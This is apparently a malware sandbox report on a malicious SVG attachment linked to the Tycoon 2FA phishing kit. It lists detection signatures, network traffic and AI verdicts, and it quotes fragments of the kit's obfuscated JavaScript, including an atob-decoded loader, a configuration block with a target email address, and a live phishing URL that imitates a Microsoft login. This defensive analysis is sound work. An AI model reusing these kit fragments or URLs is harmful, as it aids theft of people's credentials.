Edit tour

Windows Analysis Report
attach.svg

Overview

General Information

Sample name:	attach.svg
Analysis ID:	1637660
MD5:	19aff8af3e0e88556df84abdab2f7362
SHA1:	ee710c36160f82921e48ef07dc98852fc9738a60
SHA256:	4618a111de3513406591854d5bab4a33f15c48205134c0ae88e50c0d4fafcfec
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\attach.svg MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1904,i,10404701318735321305,10946732539971933626,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
attach.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.2.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.0.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.17.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.20..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 28 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'dspr.fokmsumz.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is not typically associated with Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomains or services., The email address 'wi@nkychamber.com' does not appear to be associated with Microsoft, adding to the suspicion. DOM: 1.7.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.20..script.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.17.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://dspr.fokmsumz.ru/i5qkv/$wi@nkychamber.com... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://dspr.fokmsumz.ru/i5qkv/$wi@nkychamber.com... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the detection of browser automation tools, and the aggressive DOM manipulation further increase the risk score. While some of the behaviors may be intended for legitimate purposes, the overall malicious nature of the script warrants a high-risk assessment.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, blocking keyboard shortcuts, disabling right-click context menus, and redirecting the user to an external website. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from interacting with the page or redirecting them to a potentially malicious website.
Source: 0.0.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
Source: 0.9.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts and context menus, as well as attempting to detect and redirect the user to another website if a debugger is detected. These behaviors are highly suspicious and indicate potential malicious intent, likely to bypass security measures or engage in unwanted activities.

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: attach.svg, type: SAMPLE

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI

HTTP Parser: Number of links: 0

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://dspr.fokmsumz.ru/i5qkv/$wi@nkychamber.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Graphic Card Web Template</title> <style> body { font-family: 'Montserrat', sa...

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI

HTTP Parser: Title: Voice Mail does not match URL

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Terms of use
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Terms of use
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Terms of use
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Terms of use
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: Invalid link: Privacy & cookies

Source: https://dspr.fokmsumz.ru/i5qkv/$wi@nkychamber.com	HTTP Parser: function bplywkgsgw(){upiqiuagkm = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+qukgvukgvgvtcgxhdgu8l3rpdgxlpgogicagphn0ewxlpgogicagicagigjvzhkgewogicagicagicagicbmb250lwzhbwlsetogj1nlz29lifvjjywgvgfob21hlcbhzw5ldmesifzlcmrhbmesihnhbnmtc2vyawy7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxytfhmwe7ciagicagicagicagignvbg9yoiajztblmguwowogicagicagicagicbtyxjnaw46ida7ciagicagicagicagihbhzgrpbmc6ida7ciagicagicagicagigxpbmutagvpz2h0oiaxljy7ciagicagicagfqogicagicagighlywrlcib7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmwzdq3yte7ciagicagicagicagihbhzgrpbmc6idiwchg7ciagicagicagicagihrlehqtywxpz246ignlbnrlcjskicagicagicagicagym9yzgvylwjvdhrvbtogmnb4ihnvbglkicm2ngi1zjy7ciagicagicagfqogicagicagighlywrlcibomsb7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagzm9udc1zaxploiazmnb4owogicagicagicagicbjb2xvcjogi2zmzmzmzjskicagicagicb9ciagicagicagbmf2ihskicagicagicagi...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "t4xuh";var emailcheck = "wi@nkychamber.com";var webname = "rtrim(/web9/, '/')";var urlo = "/ujxf5votwpwg7gwrstwncy8u9mb4ovpf6ejf3bgfl26wehmotm6zpjeov";var gdf = "/ijpmf8wqqwuak4k2y3gxbklt5xqyzhv4ipqpmaw721wzcd120";var odf = "/ghvqx20g8lr2qxs0l47k9iarvvuvy3ceshcgfnrab641";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(userag...

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI

HTTP Parser: <input type="password" .../> found

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No favicon
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No favicon
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No favicon
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No favicon

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="author".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="author".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="author".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="author".. found

Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="copyright".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="copyright".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="copyright".. found
Source: https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	HTTP Parser: No <meta name="copyright".. found

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 33MB

Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64154 -> 1.1.1.1:53

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67

Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=_XJI6pNcxryfpcdOUiTp7KULROe9zpZFhfbCWl779PY-1741892249-1.0.1.1-46is0ba4LZZ9kCKcVle5WawVgUmU..Tnac.QE1yWDaIitNszNhHfq6ZuHfBio1NTXBEvliv5Py5c1W.pZZM813B0GtfXRMDXYwM0LvNJb0E
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250313%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250313T185543Z&X-Amz-Expires=300&X-Amz-Signature=98c7cddba4fa740a0683b4bbc8a0b290f58f0b11bce1806b7870adfbe872f0ae&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: 